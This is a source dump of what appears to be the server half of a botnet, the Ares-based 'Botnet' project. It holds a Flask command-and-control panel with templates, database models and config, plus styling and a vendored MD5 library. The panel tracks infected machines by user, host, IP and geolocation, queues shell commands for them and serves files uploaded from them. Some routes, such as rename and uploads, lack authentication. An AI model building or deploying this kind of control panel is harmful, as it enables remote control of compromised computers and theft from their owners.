.pl-mh .pl-en /* markup.heading entity.name */, 79 | .pl-ms /* meta.separator */ { 80 | color: #264ec5; 81 | font-weight: bold; 82 | } 83 | 84 | .pl-mq /* markup.quote */ { 85 | color: #00acac; 86 | } 87 | 88 | .pl-mi /* markup.italic */ { 89 | color: #ddd; 90 | font-style: italic; 91 | } 92 | 93 | .pl-mb /* markup.bold */ { 94 | color: #ddd; 95 | font-weight: bold; 96 | } 97 | 98 | .pl-md /* markup.deleted, meta.diff.header.from-file */ { 99 | background-color: #ffecec; 100 | color: #bd2c00; 101 | } 102 | 103 | .pl-mi1 /* markup.inserted, meta.diff.header.to-file */ { 104 | background-color: #eaffea; 105 | color: #55a532; 106 | } 107 | 108 | .pl-mdr /* meta.diff.range */ { 109 | color: #9774cb; 110 | font-weight: bold; 111 | } 112 | 113 | .pl-mo /* meta.output */ { 114 | color: #264ec5; 115 | } 116 | 117 | -------------------------------------------------------------------------------- /server/WebUI/Static/css/stylesheet.css: -------------------------------------------------------------------------------- 1 | body { 2 | margin: 0; 3 | padding: 0; 4 | background: #151515 url("../images/bkg.png") 0 0; 5 | color: #eaeaea; 6 | font: 16px; 7 | line-height: 1.5; 8 | font-family: Monaco, "Bitstream Vera Sans Mono", "Lucida Console", Terminal, monospace; 9 | } 10 | 11 | /* General & 'Reset' Stuff */ 12 | 13 | .container { 14 | width: 80%; 15 | margin: 0 auto; 16 | } 17 | 18 | section { 19 | display: block; 20 | margin: 0 0 20px 0; 21 | } 22 | 23 | h1, h2, h3, h4, h5, h6 { 24 | margin: 0 0 20px; 25 | } 26 | 27 | li { 28 | line-height: 1.4 ; 29 | } 30 | 31 | /* Header,
32 | header - container 33 | h1 - project name 34 | h2 - project description 35 | */ 36 | 37 | header { 38 | background: rgba(0, 0, 0, 0.1); 39 | width: 100%; 40 | border-bottom: 1px dashed #b5e853; 41 | padding: 20px 0; 42 | margin: 0 0 40px 0; 43 | } 44 | 45 | header h1 { 46 | font-size: 30px; 47 | line-height: 1.5; 48 | margin: 0 0 0 -40px; 49 | font-weight: bold; 50 | font-family: Monaco, "Bitstream Vera Sans Mono", "Lucida Console", Terminal, monospace; 51 | color: #b5e853; 52 | text-shadow: 0 1px 1px rgba(0, 0, 0, 0.1), 53 | 0 0 5px rgba(181, 232, 83, 0.1), 54 | 0 0 10px rgba(181, 232, 83, 0.1); 55 | letter-spacing: -1px; 56 | -webkit-font-smoothing: antialiased; 57 | } 58 | 59 | header h1:before { 60 | content: "./ "; 61 | font-size: 24px; 62 | } 63 | 64 | header h2 { 65 | font-size: 18px; 66 | font-weight: 300; 67 | color: #666; 68 | } 69 | 70 | #downloads .btn { 71 | display: inline-block; 72 | text-align: center; 73 | margin: 0; 74 | } 75 | 76 | /* Main Content 77 | */ 78 | 79 | #main_content { 80 | width: 100%; 81 | -webkit-font-smoothing: antialiased; 82 | } 83 | section img { 84 | max-width: 100% 85 | } 86 | 87 | h1, h2, h3, h4, h5, h6 { 88 | font-weight: normal; 89 | font-family: Monaco, "Bitstream Vera Sans Mono", "Lucida Console", Terminal, monospace; 90 | color: #b5e853; 91 | letter-spacing: -0.03em; 92 | text-shadow: 0 1px 1px rgba(0, 0, 0, 0.1), 93 | 0 0 5px rgba(181, 232, 83, 0.1), 94 | 0 0 10px rgba(181, 232, 83, 0.1); 95 | } 96 | 97 | #main_content h1 { 98 | font-size: 30px; 99 | } 100 | 101 | #main_content h2 { 102 | font-size: 24px; 103 | } 104 | 105 | #main_content h3 { 106 | font-size: 18px; 107 | } 108 | 109 | #main_content h4 { 110 | font-size: 14px; 111 | } 112 | 113 | #main_content h5 { 114 | font-size: 12px; 115 | text-transform: uppercase; 116 | margin: 0 0 5px 0; 117 | } 118 | 119 | #main_content h6 { 120 | font-size: 12px; 121 | text-transform: uppercase; 122 | color: #999; 123 | margin: 0 0 5px 0; 124 | } 125 | 126 | dt { 127 | font-style: italic; 128 | font-weight: bold; 129 | } 130 | 131 | ul li { 132 | list-style: none; 133 | } 134 | 135 | ul li:before { 136 | content: ">>"; 137 | font-family: Monaco, "Bitstream Vera Sans Mono", "Lucida Console", Terminal, monospace; 138 | font-size: 13px; 139 | color: #b5e853; 140 | margin-left: -37px; 141 | margin-right: 21px; 142 | line-height: 16px; 143 | } 144 | 145 | blockquote { 146 | color: #aaa; 147 | padding-left: 10px; 148 | border-left: 1px dotted #666; 149 | } 150 | 151 | pre { 152 | background: rgba(0, 0, 0, 0.9); 153 | border: 1px solid rgba(255, 255, 255, 0.15); 154 | padding: 10px; 155 | font-size: 14px; 156 | color: #b5e853; 157 | border-radius: 2px; 158 | -moz-border-radius: 2px; 159 | -webkit-border-radius: 2px; 160 | text-wrap: normal; 161 | overflow: scroll; 162 | height: 500px; 163 | } 164 | 165 | table { 166 | width: 100%; 167 | margin: 0 0 20px 0; 168 | } 169 | 170 | th { 171 | text-align: left; 172 | border-bottom: 1px dashed #b5e853; 173 | padding: 5px 10px; 174 | } 175 | 176 | td { 177 | padding: 5px 10px; 178 | } 179 | 180 | hr { 181 | height: 0; 182 | border: 0; 183 | border-bottom: 1px dashed #b5e853; 184 | color: #b5e853; 185 | } 186 | 187 | /* Buttons 188 | */ 189 | 190 | .btn { 191 | display: inline-block; 192 | background: -webkit-linear-gradient(top, rgba(40, 40, 40, 0.3), rgba(35, 35, 35, 0.3) 50%, rgba(10, 10, 10, 0.3) 50%, rgba(0, 0, 0, 0.3)); 193 | padding: 8px 18px; 194 | border-radius: 50px; 195 | border: 2px solid rgba(0, 0, 0, 0.7); 196 | border-bottom: 2px solid rgba(0, 0, 0, 0.7); 197 | border-top: 2px solid rgba(0, 0, 0, 1); 198 | color: rgba(255, 255, 255, 0.8); 199 | font-family: Helvetica, Arial, sans-serif; 200 | font-weight: bold; 201 | font-size: 13px; 202 | text-decoration: none; 203 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.75); 204 | box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.05); 205 | } 206 | 207 | .btn:hover { 208 | background: -webkit-linear-gradient(top, rgba(40, 40, 40, 0.6), rgba(35, 35, 35, 0.6) 50%, rgba(10, 10, 10, 0.8) 50%, rgba(0, 0, 0, 0.8)); 209 | } 210 | 211 | .btn .icon { 212 | display: inline-block; 213 | width: 16px; 214 | height: 16px; 215 | margin: 1px 8px 0 0; 216 | float: left; 217 | } 218 | 219 | .btn-github .icon { 220 | opacity: 0.6; 221 | background: url("../images/blacktocat.png") 0 0 no-repeat; 222 | } 223 | 224 | /* Links 225 | a, a:hover, a:visited 226 | */ 227 | 228 | a { 229 | color: #63c0f5; 230 | text-shadow: 0 0 5px rgba(104, 182, 255, 0.5); 231 | } 232 | 233 | /* Clearfix */ 234 | 235 | .cf:before, .cf:after { 236 | content:""; 237 | display:table; 238 | } 239 | 240 | .cf:after { 241 | clear:both; 242 | } 243 | 244 | .cf { 245 | zoom:1; 246 | } 247 | 248 | #msg-term-update { 249 | cursor:pointer; 250 | margin:auto; 251 | display:none; 252 | width:250px; 253 | color:white; 254 | background:#58b220; 255 | padding:3px; 256 | text-align:center; 257 | border-radius:5px; 258 | } 259 | -------------------------------------------------------------------------------- /server/WebUI/Static/images/bkg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frederikme/Botnet/9bd6407992c6b41db56ca1065e05e21a398e64b4/server/WebUI/Static/images/bkg.png -------------------------------------------------------------------------------- /server/WebUI/Static/js/jquery.md5.js: -------------------------------------------------------------------------------- 1 | /* 2 | * jQuery MD5 Plugin 1.2.1 3 | * https://github.com/blueimp/jQuery-MD5 4 | * 5 | * Copyright 2010, Sebastian Tschan 6 | * https://blueimp.net 7 | * 8 | * Licensed under the MIT license: 9 | * http://creativecommons.org/licenses/MIT/ 10 | * 11 | * Based on 12 | * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message 13 | * Digest Algorithm, as defined in RFC 1321. 14 | * Version 2.2 Copyright (C) Paul Johnston 1999 - 2009 15 | * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet 16 | * Distributed under the BSD License 17 | * See http://pajhome.org.uk/crypt/md5 for more info. 18 | */ 19 | 20 | /*jslint bitwise: true */ 21 | /*global unescape, jQuery */ 22 | 23 | (function ($) { 24 | 'use strict'; 25 | 26 | /* 27 | * Add integers, wrapping at 2^32. This uses 16-bit operations internally 28 | * to work around bugs in some JS interpreters. 29 | */ 30 | function safe_add(x, y) { 31 | var lsw = (x & 0xFFFF) + (y & 0xFFFF), 32 | msw = (x >> 16) + (y >> 16) + (lsw >> 16); 33 | return (msw << 16) | (lsw & 0xFFFF); 34 | } 35 | 36 | /* 37 | * Bitwise rotate a 32-bit number to the left. 38 | */ 39 | function bit_rol(num, cnt) { 40 | return (num << cnt) | (num >>> (32 - cnt)); 41 | } 42 | 43 | /* 44 | * These functions implement the four basic operations the algorithm uses. 45 | */ 46 | function md5_cmn(q, a, b, x, s, t) { 47 | return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s), b); 48 | } 49 | function md5_ff(a, b, c, d, x, s, t) { 50 | return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t); 51 | } 52 | function md5_gg(a, b, c, d, x, s, t) { 53 | return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t); 54 | } 55 | function md5_hh(a, b, c, d, x, s, t) { 56 | return md5_cmn(b ^ c ^ d, a, b, x, s, t); 57 | } 58 | function md5_ii(a, b, c, d, x, s, t) { 59 | return md5_cmn(c ^ (b | (~d)), a, b, x, s, t); 60 | } 61 | 62 | /* 63 | * Calculate the MD5 of an array of little-endian words, and a bit length. 64 | */ 65 | function binl_md5(x, len) { 66 | /* append padding */ 67 | x[len >> 5] |= 0x80 << ((len) % 32); 68 | x[(((len + 64) >>> 9) << 4) + 14] = len; 69 | 70 | var i, olda, oldb, oldc, oldd, 71 | a = 1732584193, 72 | b = -271733879, 73 | c = -1732584194, 74 | d = 271733878; 75 | 76 | for (i = 0; i < x.length; i += 16) { 77 | olda = a; 78 | oldb = b; 79 | oldc = c; 80 | oldd = d; 81 | 82 | a = md5_ff(a, b, c, d, x[i], 7, -680876936); 83 | d = md5_ff(d, a, b, c, x[i + 1], 12, -389564586); 84 | c = md5_ff(c, d, a, b, x[i + 2], 17, 606105819); 85 | b = md5_ff(b, c, d, a, x[i + 3], 22, -1044525330); 86 | a = md5_ff(a, b, c, d, x[i + 4], 7, -176418897); 87 | d = md5_ff(d, a, b, c, x[i + 5], 12, 1200080426); 88 | c = md5_ff(c, d, a, b, x[i + 6], 17, -1473231341); 89 | b = md5_ff(b, c, d, a, x[i + 7], 22, -45705983); 90 | a = md5_ff(a, b, c, d, x[i + 8], 7, 1770035416); 91 | d = md5_ff(d, a, b, c, x[i + 9], 12, -1958414417); 92 | c = md5_ff(c, d, a, b, x[i + 10], 17, -42063); 93 | b = md5_ff(b, c, d, a, x[i + 11], 22, -1990404162); 94 | a = md5_ff(a, b, c, d, x[i + 12], 7, 1804603682); 95 | d = md5_ff(d, a, b, c, x[i + 13], 12, -40341101); 96 | c = md5_ff(c, d, a, b, x[i + 14], 17, -1502002290); 97 | b = md5_ff(b, c, d, a, x[i + 15], 22, 1236535329); 98 | 99 | a = md5_gg(a, b, c, d, x[i + 1], 5, -165796510); 100 | d = md5_gg(d, a, b, c, x[i + 6], 9, -1069501632); 101 | c = md5_gg(c, d, a, b, x[i + 11], 14, 643717713); 102 | b = md5_gg(b, c, d, a, x[i], 20, -373897302); 103 | a = md5_gg(a, b, c, d, x[i + 5], 5, -701558691); 104 | d = md5_gg(d, a, b, c, x[i + 10], 9, 38016083); 105 | c = md5_gg(c, d, a, b, x[i + 15], 14, -660478335); 106 | b = md5_gg(b, c, d, a, x[i + 4], 20, -405537848); 107 | a = md5_gg(a, b, c, d, x[i + 9], 5, 568446438); 108 | d = md5_gg(d, a, b, c, x[i + 14], 9, -1019803690); 109 | c = md5_gg(c, d, a, b, x[i + 3], 14, -187363961); 110 | b = md5_gg(b, c, d, a, x[i + 8], 20, 1163531501); 111 | a = md5_gg(a, b, c, d, x[i + 13], 5, -1444681467); 112 | d = md5_gg(d, a, b, c, x[i + 2], 9, -51403784); 113 | c = md5_gg(c, d, a, b, x[i + 7], 14, 1735328473); 114 | b = md5_gg(b, c, d, a, x[i + 12], 20, -1926607734); 115 | 116 | a = md5_hh(a, b, c, d, x[i + 5], 4, -378558); 117 | d = md5_hh(d, a, b, c, x[i + 8], 11, -2022574463); 118 | c = md5_hh(c, d, a, b, x[i + 11], 16, 1839030562); 119 | b = md5_hh(b, c, d, a, x[i + 14], 23, -35309556); 120 | a = md5_hh(a, b, c, d, x[i + 1], 4, -1530992060); 121 | d = md5_hh(d, a, b, c, x[i + 4], 11, 1272893353); 122 | c = md5_hh(c, d, a, b, x[i + 7], 16, -155497632); 123 | b = md5_hh(b, c, d, a, x[i + 10], 23, -1094730640); 124 | a = md5_hh(a, b, c, d, x[i + 13], 4, 681279174); 125 | d = md5_hh(d, a, b, c, x[i], 11, -358537222); 126 | c = md5_hh(c, d, a, b, x[i + 3], 16, -722521979); 127 | b = md5_hh(b, c, d, a, x[i + 6], 23, 76029189); 128 | a = md5_hh(a, b, c, d, x[i + 9], 4, -640364487); 129 | d = md5_hh(d, a, b, c, x[i + 12], 11, -421815835); 130 | c = md5_hh(c, d, a, b, x[i + 15], 16, 530742520); 131 | b = md5_hh(b, c, d, a, x[i + 2], 23, -995338651); 132 | 133 | a = md5_ii(a, b, c, d, x[i], 6, -198630844); 134 | d = md5_ii(d, a, b, c, x[i + 7], 10, 1126891415); 135 | c = md5_ii(c, d, a, b, x[i + 14], 15, -1416354905); 136 | b = md5_ii(b, c, d, a, x[i + 5], 21, -57434055); 137 | a = md5_ii(a, b, c, d, x[i + 12], 6, 1700485571); 138 | d = md5_ii(d, a, b, c, x[i + 3], 10, -1894986606); 139 | c = md5_ii(c, d, a, b, x[i + 10], 15, -1051523); 140 | b = md5_ii(b, c, d, a, x[i + 1], 21, -2054922799); 141 | a = md5_ii(a, b, c, d, x[i + 8], 6, 1873313359); 142 | d = md5_ii(d, a, b, c, x[i + 15], 10, -30611744); 143 | c = md5_ii(c, d, a, b, x[i + 6], 15, -1560198380); 144 | b = md5_ii(b, c, d, a, x[i + 13], 21, 1309151649); 145 | a = md5_ii(a, b, c, d, x[i + 4], 6, -145523070); 146 | d = md5_ii(d, a, b, c, x[i + 11], 10, -1120210379); 147 | c = md5_ii(c, d, a, b, x[i + 2], 15, 718787259); 148 | b = md5_ii(b, c, d, a, x[i + 9], 21, -343485551); 149 | 150 | a = safe_add(a, olda); 151 | b = safe_add(b, oldb); 152 | c = safe_add(c, oldc); 153 | d = safe_add(d, oldd); 154 | } 155 | return [a, b, c, d]; 156 | } 157 | 158 | /* 159 | * Convert an array of little-endian words to a string 160 | */ 161 | function binl2rstr(input) { 162 | var i, 163 | output = ''; 164 | for (i = 0; i < input.length * 32; i += 8) { 165 | output += String.fromCharCode((input[i >> 5] >>> (i % 32)) & 0xFF); 166 | } 167 | return output; 168 | } 169 | 170 | /* 171 | * Convert a raw string to an array of little-endian words 172 | * Characters >255 have their high-byte silently ignored. 173 | */ 174 | function rstr2binl(input) { 175 | var i, 176 | output = []; 177 | output[(input.length >> 2) - 1] = undefined; 178 | for (i = 0; i < output.length; i += 1) { 179 | output[i] = 0; 180 | } 181 | for (i = 0; i < input.length * 8; i += 8) { 182 | output[i >> 5] |= (input.charCodeAt(i / 8) & 0xFF) << (i % 32); 183 | } 184 | return output; 185 | } 186 | 187 | /* 188 | * Calculate the MD5 of a raw string 189 | */ 190 | function rstr_md5(s) { 191 | return binl2rstr(binl_md5(rstr2binl(s), s.length * 8)); 192 | } 193 | 194 | /* 195 | * Calculate the HMAC-MD5, of a key and some data (raw strings) 196 | */ 197 | function rstr_hmac_md5(key, data) { 198 | var i, 199 | bkey = rstr2binl(key), 200 | ipad = [], 201 | opad = [], 202 | hash; 203 | ipad[15] = opad[15] = undefined; 204 | if (bkey.length > 16) { 205 | bkey = binl_md5(bkey, key.length * 8); 206 | } 207 | for (i = 0; i < 16; i += 1) { 208 | ipad[i] = bkey[i] ^ 0x36363636; 209 | opad[i] = bkey[i] ^ 0x5C5C5C5C; 210 | } 211 | hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8); 212 | return binl2rstr(binl_md5(opad.concat(hash), 512 + 128)); 213 | } 214 | 215 | /* 216 | * Convert a raw string to a hex string 217 | */ 218 | function rstr2hex(input) { 219 | var hex_tab = '0123456789abcdef', 220 | output = '', 221 | x, 222 | i; 223 | for (i = 0; i < input.length; i += 1) { 224 | x = input.charCodeAt(i); 225 | output += hex_tab.charAt((x >>> 4) & 0x0F) + 226 | hex_tab.charAt(x & 0x0F); 227 | } 228 | return output; 229 | } 230 | 231 | /* 232 | * Encode a string as utf-8 233 | */ 234 | function str2rstr_utf8(input) { 235 | return unescape(encodeURIComponent(input)); 236 | } 237 | 238 | /* 239 | * Take string arguments and return either raw or hex encoded strings 240 | */ 241 | function raw_md5(s) { 242 | return rstr_md5(str2rstr_utf8(s)); 243 | } 244 | function hex_md5(s) { 245 | return rstr2hex(raw_md5(s)); 246 | } 247 | function raw_hmac_md5(k, d) { 248 | return rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d)); 249 | } 250 | function hex_hmac_md5(k, d) { 251 | return rstr2hex(raw_hmac_md5(k, d)); 252 | } 253 | 254 | $.md5 = function (string, key, raw) { 255 | if (!key) { 256 | if (!raw) { 257 | return hex_md5(string); 258 | } else { 259 | return raw_md5(string); 260 | } 261 | } 262 | if (!raw) { 263 | return hex_hmac_md5(key, string); 264 | } else { 265 | return raw_hmac_md5(key, string); 266 | } 267 | }; 268 | 269 | }(typeof jQuery === 'function' ? jQuery : this)); -------------------------------------------------------------------------------- /server/WebUI/Templates/agent_console.html: -------------------------------------------------------------------------------- 1 |
2 | {% if agent.output %}
3 | {{ agent.output | safe }}
4 | {% endif %}
5 | {% for cmd in agent.commands %}
6 | Pending: {{ cmd.cmdline }}
7 | {% endfor %}
8 | 
9 | -------------------------------------------------------------------------------- /server/WebUI/Templates/agent_detail.html: -------------------------------------------------------------------------------- 1 | {% with previous_page=url_for('webui.agent_list'), title=agent.display_name %} 2 | {% include "header.html" %} 3 | {% endwith %} 4 | 5 |
6 |
7 | 8 |
9 |
10 | 11 |
12 |
13 | ↓ Terminal updated ↓ 14 |
15 |
16 | 17 |
18 | 19 |
20 | 21 | 159 | 160 |
161 |
162 | 163 | {% include "footer.html" %} 164 | -------------------------------------------------------------------------------- /server/WebUI/Templates/agent_list.html: -------------------------------------------------------------------------------- 1 | {% with previous_page=url_for('webui.index'), title="Agent list" %} 2 | {% include "header.html" %} 3 | {% endwith %} 4 | 5 |
6 |
7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 | {% for agent in agents %} 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | {% endfor %} 27 |
NameLast OnlineUserHostIPOSGeolocationChange nameSel.
{{agent.display_name}} {% if agent.last_online %}{% if agent.is_online() %}ONLINE{%else%}{{agent.last_online.strftime('%Y/%m/%d %H:%M')}}{%endif%}{% endif %}{{agent.username}}{{agent.hostname}}{{agent.remote_ip}}{{agent.operating_system}}{{agent.geolocation}}Change name
28 |
29 |
30 |
31 | 32 | 33 | 57 | 58 | {% include "footer.html" %} 59 | -------------------------------------------------------------------------------- /server/WebUI/Templates/create_password.html: -------------------------------------------------------------------------------- 1 | {% with title="Botnet" %} 2 | {% include "header.html" %} 3 | {% endwith %} 4 | 5 |
6 |
7 | 8 |

Please define a password for the Web Interface.

9 |
10 | New Password


11 | Confirm


12 | 13 |
14 | 15 |
16 |
17 | 28 | 29 | {% include "footer.html" %} 30 | -------------------------------------------------------------------------------- /server/WebUI/Templates/footer.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /server/WebUI/Templates/header.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | Botnet 10 | {% with messages = get_flashed_messages() %} 11 | {% if messages %} 12 |
    13 | {% for message in messages %} 14 |
  • {{message}}
  • 15 | {% endfor %} 16 | {% endif %} 17 |
18 | {% endwith %} 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | {% if not custom_header %} 28 |
29 |
30 |

{{ title }}

31 | {% if previous_page %} 32 | << Back 33 | {% endif %} 34 | {% if session.username %} 35 |

Logged in as {{ session.username }}

36 |

Change Password Disconnect

37 | {% endif %} 38 |
39 |
40 | {% endif %} 41 | -------------------------------------------------------------------------------- /server/WebUI/Templates/index.html: -------------------------------------------------------------------------------- 1 | {% with title="Ares" %} 2 | {% include "header.html" %} 3 | {% endwith %} 4 | 5 |
6 |
7 | 8 |

Welcome to Botnet.

9 | 12 | 13 |
14 |
15 | 16 | {% include "footer.html" %} 17 | -------------------------------------------------------------------------------- /server/WebUI/Templates/login.html: -------------------------------------------------------------------------------- 1 | {% with custom_header=True %} 2 | {% include "header.html" %} 3 | {% endwith %} 4 | 5 |
6 |
7 |
8 | _____ 9 | / _ \_______ ____ ______ 10 | / /_\ \_ __ \_/ __ \ / ___/ 11 | / | \ | \/\ ___/ \___ \ 12 | \____|__ /__| \___ >____ > 13 | \/ \/ \/ 14 |
15 |
16 |
17 | 18 |
19 |
20 |
21 |

Passphrase:

22 |
23 |
24 |
25 | 26 | {% include "footer.html" %} 27 | -------------------------------------------------------------------------------- /server/WebUI/__init__.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | from functools import wraps 4 | import hashlib 5 | from datetime import datetime 6 | 7 | from flask import Blueprint 8 | from flask import abort 9 | from flask import request 10 | from flask import redirect 11 | from flask import render_template 12 | from flask import session 13 | from flask import url_for 14 | from flask import flash 15 | from flask import send_from_directory 16 | from flask import current_app 17 | 18 | from models import db 19 | from models import Agent 20 | from models import Command 21 | from models import User 22 | 23 | 24 | def hash_and_salt(password): 25 | password_hash = hashlib.sha256() 26 | salt = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8)) 27 | password_hash.update((salt + request.form['password']).encode('utf-8')) 28 | return password_hash.hexdigest(), salt 29 | 30 | 31 | def require_admin(func): 32 | @wraps(func) 33 | def wrapper(*args, **kwargs): 34 | if 'username' in session and session['username'] == 'admin': 35 | return func(*args, **kwargs) 36 | else: 37 | return redirect(url_for('webui.login')) 38 | return wrapper 39 | 40 | 41 | webui = Blueprint('webui', __name__, static_folder='static', static_url_path='/static/webui', template_folder='templates') 42 | 43 | 44 | @webui.route('/') 45 | @require_admin 46 | def index(): 47 | return render_template('index.html') 48 | 49 | 50 | @webui.route('/login', methods=['GET', 'POST']) 51 | def login(): 52 | admin_user = User.query.filter_by(username='admin').first() 53 | if not admin_user: 54 | if request.method == 'POST': 55 | if 'password' in request.form: 56 | password_hash, salt = hash_and_salt(request.form['password']) 57 | new_user = User() 58 | new_user.username = 'admin' 59 | new_user.password = password_hash 60 | new_user.salt = salt 61 | db.session.add(new_user) 62 | db.session.commit() 63 | flash('Password set successfully. Please log in.') 64 | return redirect(url_for('webui.login')) 65 | return render_template('create_password.html') 66 | if request.method == 'POST': 67 | if request.form['password']: 68 | password_hash = hashlib.sha256() 69 | password_hash.update((admin_user.salt + request.form['password']).encode('utf-8')) 70 | if admin_user.password == password_hash.hexdigest(): 71 | session['username'] = 'admin' 72 | last_login_time = admin_user.last_login_time 73 | last_login_ip = admin_user.last_login_ip 74 | admin_user.last_login_time = datetime.now() 75 | admin_user.last_login_ip = request.remote_addr 76 | db.session.commit() 77 | flash('Logged in successfully.') 78 | if last_login_ip: 79 | flash('Last login from ' + last_login_ip + ' on ' + last_login_time.strftime("%d/%m/%y %H:%M")) 80 | return redirect(url_for('webui.index')) 81 | else: 82 | flash('Wrong passphrase') 83 | return render_template('login.html') 84 | 85 | 86 | @webui.route('/passchange', methods=['GET', 'POST']) 87 | @require_admin 88 | def change_password(): 89 | if request.method == 'POST': 90 | if 'password' in request.form: 91 | admin_user = User.query.filter_by(username='admin').first() 92 | password_hash, salt = hash_and_salt(request.form['password']) 93 | admin_user.password = password_hash 94 | admin_user.salt = salt 95 | db.session.add(admin_user) 96 | db.session.commit() 97 | flash('Password reset successfully. Please log in.') 98 | return redirect(url_for('webui.login')) 99 | return render_template('create_password.html') 100 | 101 | 102 | @webui.route('/logout') 103 | def logout(): 104 | session.pop('username', None) 105 | flash('Logged out successfully.') 106 | return redirect(url_for('webui.login')) 107 | 108 | 109 | @webui.route('/agents') 110 | @require_admin 111 | def agent_list(): 112 | agents = Agent.query.order_by(Agent.last_online.desc()) 113 | return render_template('agent_list.html', agents=agents) 114 | 115 | 116 | @webui.route('/agents/') 117 | @require_admin 118 | def agent_detail(agent_id): 119 | agent = Agent.query.get(agent_id) 120 | if not agent: 121 | abort(404) 122 | return render_template('agent_detail.html', agent=agent) 123 | 124 | 125 | @webui.route('/agents/rename', methods=['POST']) 126 | def rename_agent(): 127 | if 'newname' in request.form and 'id' in request.form: 128 | agent = Agent.query.get(request.form['id']) 129 | if not agent: 130 | abort(404) 131 | agent.rename(request.form['newname']) 132 | else: 133 | abort(400) 134 | return '' 135 | 136 | 137 | @webui.route('/uploads/') 138 | def uploads(path): 139 | return send_from_directory(current_app.config['UPLOAD_FOLDER'], path) -------------------------------------------------------------------------------- /server/config.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | 4 | 5 | class Config: 6 | SECRET_KEY = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(60)) 7 | SQLALCHEMY_DATABASE_URI = 'sqlite:///ares.db' 8 | SQLALCHEMY_TRACK_MODIFICATIONS = False 9 | UPLOAD_FOLDER = 'uploads' 10 | 11 | 12 | class DevelopmentConfig(Config): 13 | DEBUG = True 14 | 15 | 16 | class ProductionConfig(Config): 17 | DEBUG = False 18 | 19 | 20 | config = { 21 | 'dev': DevelopmentConfig, 22 | 'prod': ProductionConfig 23 | } -------------------------------------------------------------------------------- /server/models.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | from datetime import datetime 4 | 5 | from flask_sqlalchemy import SQLAlchemy 6 | 7 | db = SQLAlchemy() 8 | 9 | 10 | class Agent(db.Model): 11 | __tablename__ = 'agents' 12 | id = db.Column(db.String(100), primary_key=True) 13 | display_name = db.Column(db.String(100)) 14 | last_online = db.Column(db.DateTime()) 15 | operating_system = db.Column(db.String(100)) 16 | remote_ip = db.Column(db.String(100)) 17 | geolocation = db.Column(db.String(100)) 18 | output = db.Column(db.Text(), default="") 19 | hostname = db.Column(db.String(100)) 20 | username = db.Column(db.String(100)) 21 | 22 | def __init__(self, uid): 23 | self.id = uid 24 | self.display_name = self.id 25 | 26 | def push_command(self, cmdline): 27 | cmd = Command() 28 | cmd.agent = self 29 | cmd.cmdline = cmdline 30 | cmd.timestamp = datetime.now() 31 | db.session.add(cmd) 32 | db.session.commit() 33 | 34 | def rename(self, new_name): 35 | self.display_name = new_name 36 | db.session.commit() 37 | 38 | def is_online(self): 39 | return (datetime.now() - self.last_online).seconds < 30 40 | 41 | 42 | class Command(db.Model): 43 | __tablename__ = 'commands' 44 | id = db.Column(db.Integer, primary_key=True, autoincrement=True) 45 | agent_id = db.Column(db.Integer(), db.ForeignKey('agents.id')) 46 | agent = db.relationship('Agent', backref=db.backref('commands', lazy='dynamic')) 47 | cmdline = db.Column(db.String(255)) 48 | timestamp = db.Column(db.DateTime(), default=datetime.now) 49 | 50 | 51 | class User(db.Model): 52 | __tablename__ = 'users' 53 | id = db.Column(db.Integer, primary_key=True) 54 | username = db.Column(db.String(100), unique=True) 55 | password = db.Column(db.String(200)) 56 | salt = db.Column(db.String(100)) 57 | last_login_time = db.Column(db.DateTime()) 58 | last_login_ip = db.Column(db.String(100)) 59 | -------------------------------------------------------------------------------- /server/server.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import hashlib 4 | from functools import wraps 5 | import datetime 6 | import os 7 | import shutil 8 | import tempfile 9 | 10 | from flask import Flask 11 | from flask_script import Manager 12 | 13 | from models import db 14 | from models import Agent 15 | from models import Command 16 | from WebUI import webui 17 | from API import api 18 | from config import config 19 | 20 | app = Flask(__name__) 21 | app.config.from_object(config['dev']) 22 | app.register_blueprint(webui) 23 | app.register_blueprint(api, url_prefix="/api") 24 | db.init_app(app) 25 | manager = Manager(app) 26 | 27 | 28 | @app.after_request 29 | def headers(response): 30 | response.headers["server"] = "Ares" 31 | return response 32 | 33 | 34 | @manager.command 35 | def initdb(): 36 | db.drop_all() 37 | db.create_all() 38 | db.session.commit() 39 | 40 | 41 | if __name__ == '__main__': 42 | manager.run() --------------------------------------------------------------------------------